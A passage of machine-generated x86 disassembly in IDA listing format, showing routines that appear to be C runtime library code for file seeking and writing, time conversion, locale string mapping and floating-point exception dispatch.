		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2

loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4E0BD8
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------

loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]

loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0

loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_442174
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------

loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]

loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0

loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4E21C8
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------

loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]

loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4E21C4
		call	near ptr 2660000h
		nop

loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_44263C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi

loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_442558
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_44255C, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721

loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_442560

loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------

loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh

loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4E1F80
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4E1E80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4E0B28, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 2780000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		call	near ptr 268086Bh
		nop
		jmp	short loc_422791
; ---------------------------------------------------------------------------

loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax

loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------

loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 9

loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh

loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx

loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4E1E80[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx

loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]

loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------

loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4E0B28, 16h

loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------

loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4E1E80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]

loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------

loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------

loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB

loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]

loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]

loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4E1F80
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4E1E80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E

loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------

loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch

loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85

loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]

loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4

loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E

loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi

loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4E0B28, 9
		mov	dword_4E0B2C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------

loc_422A42:				; CODE XREF: sub_42291D+E0j
		nop
		call	near ptr 268086Bh
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------

loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 268086Bh
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967

loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4E0B28, 1Ch
		mov	dword_4E0B2C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------

loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 9

loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh

loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4E0BFC, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4E0BFC, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------

loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4D06DC
		push	esi
		push	edi
		nop
		call	near ptr 2651378h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4E0BFC, 2

loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4E0BFC
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2651378h
		jmp	loc_422C5A
; ---------------------------------------------------------------------------

loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4E0BF4
		mov	[ebp+arg_18], eax

loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2830000h
		nop
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	loc_422CE7

loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax

loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------

loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2821119h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58

loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------

loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4E0C00
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4E0C00, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_4421F0
		mov	edx, dword_4421F4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:442180h[esi*4]

loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65

loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_4421FC
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_4421FC, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_4421FC, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_4421FC, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_4421FC, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_4421FC, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_4421FC, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------

loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_4421FC, 8Ah

loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_4421FC
		push	8
		call	ebx
		pop	ecx
		mov	dword_4421FC, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------

loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4E0C00, eax

loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------

